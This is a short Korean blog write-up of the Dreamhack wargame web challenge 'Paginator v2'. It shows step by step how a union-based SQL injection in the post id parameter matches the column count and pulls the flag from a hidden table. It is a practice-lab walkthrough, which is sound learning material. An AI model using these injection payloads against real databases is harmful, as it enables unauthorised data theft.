Training/Dreamhack

[WEB] Paginator v2 문제 풀이

bamiya 2025. 2. 25. 15:15

Paginator v2 Write up

난이도 : 1

 

본 포스팅은 드림핵 워게임 - Paginator v2 의 풀이 입니다.

 

 

페이지를 보여주는 시스템에서 flag를 찾는 문제다.

출처 : Dreamhack ( https://dreamhack.io/wargame/challenges/1810 )

 

 

Step 1 ) 접속하면 /post 경로로 접근하라는 화면이 나온다.

 

Step 2 )  문제 파일 내 app.py 코드를 살펴본다.

 

 

Step 3 ) 생각대로 잘 동작한다.

SELECT title, content FROM posts WHERE id = 2

 

 

Step 4 ) 컬럼 갯수 맞춰서 2 union select 1,2 시도

SELECT title, content FROM posts WHERE id = 2 union select 1,2

 

 

Step 5 ) flag 획득

SELECT title, content FROM posts WHERE id = 2 union select (select secret_flag from flag where id=1),2